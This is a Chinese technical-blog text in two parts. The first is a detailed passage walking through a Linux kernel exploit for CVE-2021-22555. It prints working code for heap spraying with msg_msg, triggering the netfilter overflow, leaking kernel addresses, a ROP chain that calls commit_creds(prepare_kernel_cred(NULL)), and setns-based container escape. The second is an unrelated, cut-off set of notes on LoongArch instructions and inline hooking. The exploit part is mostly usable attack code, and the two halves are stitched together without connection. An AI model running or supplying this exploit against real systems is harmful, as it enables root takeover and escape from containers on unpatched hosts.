这里所使用的msgsnd函数是最常用的堆喷手段之一,因为传递的消息内容会一成不变地复制到内核缓冲区中,这样就可以达到控制内核缓冲区内容的目的。当消息传递到内核空间时,内核是通过alloc_msg函数来申请堆缓冲区的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;

// 取实际消息长度len和DATALEN_MSG中的最小值为第一个消息分片的长度
alen = min(len, DATALEN_MSG);
// 为首个消息分片开辟缓冲区,长度为结构体msg_msg加上alen
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;

msg->next = NULL;
msg->security = NULL;

len -= alen;
pseg = &msg->next;
// 若首个消息分片不足以容纳完整的消息,将陆续开辟后续的消息分片
while (len > 0) {
struct msg_msgseg *seg;

cond_resched();

alen = min(len, DATALEN_SEG);
// 为后续消息分片开辟缓冲区,长度为结构体msg_msgseg加上alen
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}

return msg;

out_err:
free_msg(msg);
return NULL;
}

其中,结构体msg_msg的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

struct list_head {
struct list_head *next, *prev;
};

内核为消息开辟好缓冲区后,会将其插入到每个消息队列中,形成一个双向链表,每个消息的m_list.next指针指向下一个消息,m_list.prev指向前一个消息。

需要注意的是,当消息实际内容的长度大于阈值DATALEN_MSG时,内核会对消息进行分片,这在利用过程中是必须要避免的,所幸的是这里选择的长度并不会导致消息分片。

发送完后,极大概率存在部分主要消息在地址上是连续的:

3.1.3 发送次要消息

再给每个消息队列发送1024个字节的次要消息,每个消息的内容同样是其所在消息队列的序号。

1
2
3
4
5
6
7
8
9
printf("[*] Spraying secondary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_secondary, 0, sizeof(msg_secondary));
*(int *)&msg_secondary.mtext[0] = MSG_TAG;
*(int *)&msg_secondary.mtext[4] = i;
if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;
}

发送完后,每个主要消息后面都会跟着一个次要消息,且它们的内容是相同的:

3.1.4 释放部分主要消息

从第1024号队列开始,每隔1024个队列释放一个主要消息,这一步释放的缓冲区将在后面触发漏洞时重新申请使用,将间隔设置为1024也是因为这样选出的主要消息所在的内存位置之后紧邻另一个主要消息的可能性更大。

1
2
3
4
5
6
printf("[*] Creating holes in primary messages...\n");
for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
0)
goto err_rmid;
}

3.1.5 触发缓冲区溢出漏洞

重新申请上一步释放的缓冲区,同时触发缓冲区溢出漏洞,将缓冲区外2个字节覆盖为0。前面提到,上一步释放的缓冲区后面极大概率紧跟着一个主要消息,这是因为前面发送了大量主要消息,将内核内存分配器能分配的内存空洞都填满了之后,所获得的缓冲区极大概率是相邻的。所以,申请的消息队列数目越多,发送越多的主要消息,内存空洞被填满的概率越大,EXP也就越稳定。在这种理想情况下,这一步会将缓冲区后面的主要消息的next指针的最低位2个字节覆盖为0,导致其指向另外一个次要消息。这样,就会有2个主要消息的next指针指向同一个次要消息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
printf("[*] Triggering out-of-bounds write...\n");
if (trigger_oob_write(s) < 0)
goto err_rmid;

int trigger_oob_write(int s) {
struct __attribute__((__packed__)) {
struct ipt_replace replace;
struct ipt_entry entry;
struct xt_entry_match match;
char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];
struct xt_entry_target target;
} data = {0};

data.replace.num_counters = 1;
data.replace.num_entries = 1;
data.replace.size = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target));

data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target));
data.entry.target_offset =
(sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));

data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad));
strcpy(data.match.u.user.name, "icmp");
data.match.u.user.revision = 0;

data.target.u.user.target_size = sizeof(data.target);
strcpy(data.target.u.user.name, "NFQUEUE");
data.target.u.user.revision = 1;

// Partially overwrite the adjacent buffer with 2 bytes of zero.
if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
if (errno == ENOPROTOOPT) {
printf("[-] Error ip_tables module is not loaded.\n");
return -1;
}
}

return 0;
}

3.1.6 实现UAF

利用带MSG_COPY参数的msgrcv函数搜索同一消息队列但内容不同的主要消息和次要消息,这样就可以在不释放消息缓冲区的前提下查看消息内容。前面提到,同一消息队列的主要消息和次要消息的内容在正常情况下应该是相同的,如果不同,说明该主要消息的next指针在上一步被改写了,导致2个消息队列包含同一个次要消息。再释放其中一个队列的次要消息,由于另一个队列还在使用该次要消息,就实现了UAF。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
printf("[*] Searching for corrupted primary message...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
if (i != 0 && (i % HOLE_STEP) == 0)
continue;
if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)
goto err_no_rmid;
if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}
if (*(int *)&msg_secondary.mtext[4] != i) {
fake_idx = i;
real_idx = *(int *)&msg_secondary.mtext[4];
break;
}
}

if (fake_idx == -1 && real_idx == -1) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}

// fake_idx's primary message has a corrupted next pointer; wrongly
// pointing to real_idx's secondary message.
printf("[+] fake_idx: %x\n", fake_idx);
printf("[+] real_idx: %x\n", real_idx);

printf("[*] Freeing real secondary message...\n");
if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;

3.2 绕过SMAP

如果内核开启了SMAP,用户空间的数据将不能被内核访问,就需要通过信息泄露获取内核空间的地址来利用内核空间的数据。

3.2.1 构造伪次要消息

上一步释放了一个次要消息所占据的缓冲区,为了方便说明,后面称之为关键缓冲区。关键缓冲区虽然被释放了,但还是有一个消息队列在使用关键缓冲区。

通过write函数向UNIX socket写入数据的方式构造许多个伪次要消息,之所以要构造多个,是为了切实地将虚假数据写入已经被释放的关键缓冲区中。这也是实现堆喷的重要手段,由于没有多余的数据结构占据通过该手段写入的缓冲区,因而可以完全控制内核缓冲区的内容。

这里构造的伪次要消息的m_ts字段(表示消息内容长度的字段)为不需要分片的最大消息内容长度,要远远大于1024字节的真实次要消息内容长度,相当于将相邻的次要消息也纳入伪次要消息的范围。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// Reclaim the previously freed secondary message with a fake msg_msg of
// maximum possible size.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
PAGE_SIZE - MSG_MSG_SIZE, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;

void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
msg->m_list_next = m_list_next;
msg->m_list_prev = m_list_prev;
msg->m_type = MTYPE_FAKE;
msg->m_ts = m_ts;
msg->next = next;
msg->security = 0;
}

int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(ss[i][0], buf, size) < 0) {
perror("[-] write");
return -1;
}
}
}
return 0;
}

3.2.2 越界读取相邻次要消息

由于构造的伪次要消息的m_ts字段要远大于真实次要消息内容长度,通过读取该消息可以越界读取相邻次要消息的头部内容,包括next指针,这样就获得了该next指针所指向的主要消息的地址(消息队列是双向链表)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Use the fake secondary message to read out-of-bounds.
printf("[*] Leaking adjacent secondary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;

// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {
printf("[-] Error could not leak adjacent secondary message.\n");
goto err_rmid;
}

// The secondary message contains a pointer to the primary message.
msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (PRIMARY_SIZE - 1))
kheap_addr = msg->m_list_prev;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

3.2.3 再次构造伪次要消息

获得了相邻次要消息所指向的主要消息的地址后,通过read函数读取socket内容的方式释放伪次要消息,让关键缓冲区再次进入被释放状态。然后,以相同的方式重新构造伪次要消息,这次构造的m_ts字段要大于消息分片的阈值,next字段等于相邻次要消息所指向的主要消息的地址-结构msg_msgseg的长度,这样做相当于将该主要消息伪造成下一个消息片段,那么在读取伪次要消息时,就可以读取该主要消息的next指针,该指针指向相邻次要消息,将指针内容减去1024即可获得伪次要消息即关键缓冲区的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Put kheap_addr at next to leak its content. Assumes zero bytes before
// kheap_addr.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;

// Use the fake secondary message to read from kheap_addr.
printf("[*] Leaking primary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;

// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
printf("[-] Error could not leak primary message.\n");
goto err_rmid;
}

// The primary message contains a pointer to the secondary message.
msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (SECONDARY_SIZE - 1))
kheap_addr = msg->m_list_prev;

// Calculate the address of the fake secondary message.
kheap_addr -= SECONDARY_SIZE;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

3.3 绕过KASLR/SMEP

接下来将通过泄露内核.data段的地址来绕过KASLR,并通过利用内核gadget构造ROP链来绕过SMEP。

3.3.1 释放伪次要消息

前面构造的伪次要消息的内容是通过socket写入的,那么内核肯定有一个跟socket相关的结构体是指向伪次要消息缓冲区的,事实上该结构体为sk_buff。

由于结构体msg_msg占据了消息缓冲区前面部分,msgrcv不能完全读取缓冲区的内容,而通过socket则相反。因此,需要通过msgrcv将关键缓冲区释放,后面通过socket读取关键缓冲区的内容。

由于之前构造的伪次要消息的next和prev指针不是有效的地址,现阶段不能直接通过msgrcv释放该伪次要消息,因为内核会检查消息队列链表的完整性。

为了能通过msgrcv释放伪次要消息,需要依次执行以下步骤:

  1. 通过读取socket释放关键缓冲区。
  2. 通过写入socket再次申请关键缓冲区,写入内容为重新构造的伪次要消息,其next和prev指针为自身地址,这样就能绕过链表完整性检查。
  3. 通过msgrcv释放伪次要消息。
1
2
3
4
5
6
7
8
9
10
11
12
13
printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

// Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;

printf("[*] Freeing sk_buff data buffer...\n");
if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)
goto err_rmid;

3.3.2 泄露内核地址

上一步执行完后,还有sk_buff指向关键缓冲区,那么,如果在关键缓冲区填入包含指向内核.data段指针的数据结构,再通过读取socket来获得缓冲区的完整内容,就可以获得内核.data段的地址,进而计算出.text段的地址,让利用内核gadget成为可能。

结构体pipe_buffer是个很好的目标,其定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

struct pipe_buf_operations {
...
/*
* When the contents of this pipe buffer has been completely
* consumed by a reader, ->release() is called.
*/
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
...
};

pipe_buffer的成员ops指向一个位于内核.data段的数据结构anon_pipe_buf_ops,它将是接下来的泄露目标。

而且,ops指向的数据结构包含很多跟管道操作相关的函数指针,其中一个是release,它所指向的函数将在释放管道时被调用。那么,通过篡改ops指向伪造的pipe_buf_operations结构,在释放管道时就可以劫持控制流。

为泄露内核.data段的地址,将进行以下步骤:

  1. 通过向多个管道写入数据让内核构造多个pipe_buffer结构体的实例,其中一个实例将占据关键缓冲区。此时内存布局如下:

  1. 读取socket,获得anon_pipe_buf_ops的地址,也就是获得了内核.data段地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
printf("[*] Spraying pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[-] pipe");
goto err_rmid;
}
// Write something to populate pipe_buffer.
if (write(pipefd[i][1], "pwn", 3) < 0) {
perror("[-] write");
goto err_rmid;
}
}

printf("[*] Leaking and freeing pipe_buffer object...\n");
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
perror("[-] read");
goto err_rmid;
}
if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];
}
}

kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);
printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);

此时关键缓冲区已被释放,内存布局如下:

3.4 提权和容器逃逸

先通过写入socket构造伪pipe_buffer,让ops指针指向在关键缓冲区伪造的pipe_buf_operations,其中的release指针指向跟栈迁移相关的内核.text段的gadget。

同时,在关键缓冲区构造ROP链依序执行以下任务:

  1. 保存RBP。
  2. 执行commit_creds(prepare_kernel_cred(NULL)),这一步是为了获得root权限。
  3. 执行switch_task_namespaces(find_task_by_vpid(1), init_nsproxy),这一步在容器环境中才有用,否则只是冗余步骤,作用是pid为1的进程的名称空间替换为容器初始化时的全局名称空间init_nsproxy,init_nsproxy名称空间可以访问宿主机的文件系统。
  4. 恢复RBP并恢复正常执行流程。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
printf("[*] Spraying fake pipe_buffer objects...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
buf = (struct pipe_buffer *)&secondary_buf;
buf->ops = kheap_addr + 0x290;
ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
// RSI points to &buf.
ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;

void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {
uint64_t *rop;

*(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;
*(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET;

rop = (uint64_t *)&buf[0xD8];

// Save RBP at scratchpad_addr.
*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;
*rop++ = scratchpad_addr; // R12
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBX
*rop++ = 0xDEADBEEF; // R12
*rop++ = 0xDEADBEEF; // RBP

// commit_creds(prepare_kernel_cred(NULL))
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 0; // RDI
*rop++ = kbase_addr + PREPARE_KERNEL_CRED;
*rop++ = kbase_addr + POP_RCX_RET;
*rop++ = 4; // RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
*rop++ = kbase_addr + COMMIT_CREDS;

// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 1; // RDI
*rop++ = kbase_addr + FIND_TASK_BY_VPID;
*rop++ = kbase_addr + POP_RCX_RET;
*rop++ = 4; // RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
*rop++ = kbase_addr + POP_RSI_RET;
*rop++ = kbase_addr + INIT_NSPROXY; // RSI
*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;

// Load RBP from scratchpad_addr and resume execution.
*rop++ = kbase_addr + POP_RBP_RET;
*rop++ = scratchpad_addr - 0xA; // RBP
*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;
*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
}

释放管道,执行release所指向的gadget,将内核栈迁移到关键缓冲区构造的ROP链处,然后执行完整个ROP链,实现提权。

1
2
3
4
5
6
7
8
9
10
11
printf("[*] Releasing pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipefd[i][0]) < 0) {
perror("[-] close");
goto err_rmid;
}
if (close(pipefd[i][1]) < 0) {
perror("[-] close");
goto err_rmid;
}
}

最后,将当前进程的名称空间替换成1号进程的,而1号进程的名称空间已经替换成容器初始化时的全局名称空间init_nsproxy,由此实现容器逃逸。

1
2
3
setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
setns(open("/proc/1/ns/pid", O_RDONLY), 0);
setns(open("/proc/1/ns/net", O_RDONLY), 0);

参考文献

CVE-2021-22555: Turning \x00\x00 into 10000$

CVE-2021-22555 - The MITRE Corporation

CVE-2021-22555 linux内核提权

隐藏十五年的漏洞:CVE-2021-22555 漏洞分析与复现

CVE-2021-22555 2字节堆溢出写0漏洞提权分析

namespaces(7) — Linux manual page

The Route to Root: Container Escape Using Kernel Exploitation

Linux Kernel universal heap spray

LoongArch 研究小记(一)

author: xiongxiao (395984722@qq.com), jiayy (chengjia4574@gmail.com)

LoongArch

目前世界上主要的指令集架构有 MIPS, X86, Power, Alpha, ARM 等,除了 ARM 是英国的其余都是美国的。国内的芯片厂商龙芯,君正,兆芯,海光,申威,飞腾,海思,展讯,华芯通等购买相应授权并开发相应芯片产品,这就是目前芯片市场的情况,可以说脖子被卡得死死的。

2021.04.30,龙芯自主指令系统LoongArch基础架构手册正式发布 ,号称从顶层架构,到指令功能和 ABI 标准等,全部自主设计,不需国外授权。2021.07.23, 基于自主指令集 LA 架构的 新一代处理器龙芯3A5000正式发布 ,据称 spec 2006评分达到26分,接近30分的一代锐龙。

我们小组及时跟进研究了 LA 的手册,并在 3A5000 设备上开发了相应的产品。在这过程中发现网上对这一新生事物缺乏资料(除了官方的),遂写了本篇小记。

inline Hook

其中一个任务是实现 LA 上的 inline hook 。指令手册主要参考:

  • 第二章 基础整数指令, 解释指令格式和功能
  • 附录B 指令码一览, 指令的二进制编码方式

寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
基础整数指令涉及的寄存器包括通用寄存器(General-purpose Register,简称 GR) 和 程序记数寄存器(Program Counter,简称PC)

通用寄存器GR有32个,记为r0~r31, 其中 0 号寄存器r0的值恒为 0。

GR 的位宽记做 GRLEN。LA32 32bit, LA64 64bit。

在标准的龙芯架构应用程序二进制接口(Application Binary Interfac, 简称ABI) 中,r1 固定作为存放函数调用返回地址的寄存器。

其中GR包括 r0 ... r31 共32个

PC 只有1个,记录当前指令的地址。

PC 寄存器不能被指令直接修改,只能被转移指令、例外陷入和例外返回指令间接修改。

可以作为一些非转移类指令的源操作数直接读取。
(以上内容全部摘自指令手册)

补充:
根据LoongArch ABI,寄存器功能的更细的划分如下:

1
2
3
4
5
6
7
8
9
R0 : 永 远 为0
R1 : ra 返 回 地 址
R2 : tp , 线 程 指 针
R3 : sp , 栈 指 针
R4−R11: 参 数a0−a7 , a0/a1 返 回
R12−R20 : t0−t8 临 时 寄 存 器
R21 : r e s e r v e
R22 : fp
R23−R31 : s0−s8 c a l l e e

指令

这里通过BEQ指令说明如何查询手册,快速获得这条指令相关的信息

1
2
3
4
5
6
7
8
# 在附录中可以找到指令的编码
BEQ rj, rd, offs | 0 1 0 1 1 0 offs[15:0] rj rd

# 在第二章可以找到指令的功能解释以及编码含义
BEQ 将通用寄存器 rj 和通用寄存器 rd 的值进行比较,如果两者相等则跳转到目标地址,否则不跳转

if GR[rj] == GR[rd] :
PC = PC + SignExtend(offs16, 2'b0}, GRLEN)

伪代码中 SignExtend(offs16, 2’b0}, GRLEN) 的含义是offs16 左移两位,然后符号扩展到GRLEN(LA64下 即64位)

关于符号扩展Wiki,C实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 依赖 >> 符号本身就是符号扩展的特性,可以简单实现为
long sign_extend(long off, int bits){
return ((off << (64 - bits)) >> (64 - bits));
}

// 不依赖 << 符号
#include <stdio.h>

long sign_extend(long off, unsigned int bits){
long sign_mask = 1UL << (bits - 1); // bit[bits - 1] 为 1,其他位全部为 0
long pos_mask = (1UL << bits) - 1; // bit[0:bits] 全部为 1, bit[bits: 63] 全部为0
long neg_mask = ~((1UL << bits) - 1); // bit[0:bits] 全部为 0, bit[bits: 63] 全部为1

if(off & sign_mask){
// 符号位为 1, 保证扩展后的高位全部为 1
return off | neg_mask;
}else{
// 符号位为 0, 保证扩展后的高位全部为 0
return off & pos_mask;
}
}

int main(){
printf("0x%lx\n", sign_extend(0x80, 8)); // 0xffffffffffffff80
printf("0x%lx\n", sign_extend(0x80, 9)); // 0x80
}

PC 相对寻址指令替换

inline hook 的主要工作之一就是修复这类指令,即计算出正确的地址,然后通过其他指令替换

LoongArch64 中的PC相对寻址指令如下:

算数运算指令

1
2
3
4
PCADDI rd, si20 	| 0 0 0 1 1 0 0 si20 rd
PCALAU12I rd, si20 | 0 0 0 1 1 0 1 si20 rd
PCADDU12I rd, si20 | 0 0 0 1 1 1 0 si20 rd
PCADDU18I rd, si20 | 0 0 0 1 1 1 1 si20 rd

转移指令

1
2
3
4
5
6
7
8
9
10
11
BEQZ rj, offs 		| 0 1 0 0 0 0 offs[15:0] rj offs[20:16]
BNEZ rj, offs | 0 1 0 0 0 1 offs[15:0] rj offs[20:16]
BCEQZ cj, offs | 0 1 0 0 1 0 offs[15:0] 0 0 cj offs[20:16]
BCNEZ cj, offs | 0 1 0 0 1 0 offs[15:0] 0 1 cj offs[20:16]
# JIRL rd, rj, offs | 0 1 0 0 1 1 offs[15:0] rj rd (唯一一个不是PC相对寻址的转移指令)
B offs | 0 1 0 1 0 0 offs[15:0] offs[25:16]
BL offs | 0 1 0 1 0 1 offs[15:0] offs[25:16]
BEQ rj, rd, offs | 0 1 0 1 1 0 offs[15:0] rj rd
BNE rj, rd, offs | 0 1 0 1 1 1 offs[15:0] rj rd
BLT rj, rd, offs | 0 1 1 0 0 0 offs[15:0] rj rd
BGE rj, rd, offs | 0 1 1 0 0 1 offs[15:0] rj rd

对这两类的指令替换方案如下:

1
2
3
4
5
6
7
pcaddi [target_reg], si20 替换为:

PCADDI r17, 12/4 # 将 pc + 12 存放到 r17 临时寄存器
LD.D [target_reg], r17, 0 # 取出 r17 地址处的 8 个字节保存到 target_reg
B 12/4 # 跳过存放地址的8个字节,即 pc += 12,由于指令会对偏移移位,所以要12/4
IMM[ 0: 31] # 基于原指令pc 计算得到的结果低32bit
IMM[32: 63] # 基于原指令pc 计算得到的结果高32bit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
b offs 替换为:

PCADDI R17, 12/4 # 将 pc + 12 存放到 r17 临时寄存器
LD.D R17, R17, 0 # 取出 r17 地址处的 8 个字节保存到 r17
JIRL R0, R17, 0 # 跳转到 r17 保存的地址处
TO_ADDR[0 : 31] # 基于原指令pc 计算得到的跳转地址低32bit
TO_ADDR[32: 63] # 基于原指令pc 计算得到的跳转地址高32bit

# 条件跳转类的替换方式如下:
BEQ rj, rd, offs 替换为:

BNE rj, rd, 24/4
PCADDI R17, 12/4
LD.D R17, R17, 0
JIRL R0, R17, 0
TO_ADDR[0 : 31]
TO_ADDR[32: 63]

r1寄存器

有时函数栈的切换不会把返回值压栈,而是直接使用r1寄存器

经测试,当一个函数没有调用子函数的时候,不会把 r1 压栈

开启gcc 编译优化也会省去压栈操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// main.c
int func1(int a, int b){
return a + b;
}

int func2(int a, int b){
return func1(a, b) + 10;
}

int main(int argc, char *argv[]){
func1(100, 200);
func2(100, 200);

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ gcc main.c -g
$ gdb a.out
(gdb) disassemble func1
Dump of assembler code for function func1:
0x0000000120000650 <+0>: addi.d $r3,$r3,-32(0xfe0)
0x0000000120000654 <+4>: st.d $r22,$r3,24(0x18)
0x0000000120000658 <+8>: addi.d $r22,$r3,32(0x20)
0x000000012000065c <+12>: move $r13,$r4
0x0000000120000660 <+16>: move $r12,$r5
0x0000000120000664 <+20>: slli.w $r13,$r13,0x0
0x0000000120000668 <+24>: st.w $r13,$r22,-20(0xfec)
0x000000012000066c <+28>: slli.w $r12,$r12,0x0
0x0000000120000670 <+32>: st.w $r12,$r22,-24(0xfe8)
0x0000000120000674 <+36>: ld.w $r13,$r22,-20(0xfec)
0x0000000120000678 <+40>: ld.w $r12,$r22,-24(0xfe8)
0x000000012000067c <+44>: add.w $r12,$r13,$r12
0x0000000120000680 <+48>: move $r4,$r12
0x0000000120000684 <+52>: ld.d $r22,$r3,24(0x18)
0x0000000120000688 <+56>: addi.d $r3,$r3,32(0x20)
0x000000012000068c <+60>: jirl $r0,$r1,0
End of assembler dump.
(gdb) disassemble func2
Dump of assembler code for function func2:
0x0000000120000690 <+0>: addi.d $r3,$r3,-32(0xfe0)
0x0000000120000694 <+4>: st.d $r1,$r3,24(0x18)
...
0x00000001200006d8 <+72>: ld.d $r1,$r3,24(0x18)
0x00000001200006dc <+76>: ld.d $r22,$r3,16(0x10)
0x00000001200006e0 <+80>: addi.d $r3,$r3,32(0x20)
0x00000001200006e4 <+84>: jirl $r0,$r1,0
End of assembler dump.
1
2
3
4
5
6
7
8
9
10
11
12
$ gcc main.c -O2 -g
$ gdb a.out
Dump of assembler code for function func1:
0x0000000120000658 <+0>: add.w $r4,$r4,$r5
0x000000012000065c <+4>: jirl $r0,$r1,0
End of assembler dump.
(gdb) disassemble func2
Dump of assembler code for function func2:
0x0000000120000660 <+0>: add.w $r4,$r4,$r5
0x0000000120000664 <+4>: addi.w $r4,$r4,10(0xa)
0x0000000120000668 <+8>: jirl $r0,$r1,0
End of assembler dump.

用户态Hook

简单实现,不处理pc相对寻址的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

#define JUMP_CODE_SIZE 20

int (*func_ptr)(int, int, int);

int func(int a, int b, int c){
if(a == 0){
return 0;
}
printf("%s-%d: %d\n", __func__, __LINE__, a+b+c);
return a+b+c;
}

int hook_handler(int a, int b, int c){
printf("%s-%d: %d, %d, %d\n", __func__, __LINE__, a, b, c);
func_ptr(a, b, c);
return 0;
}

static char *do_jump(char *from, char *to) {
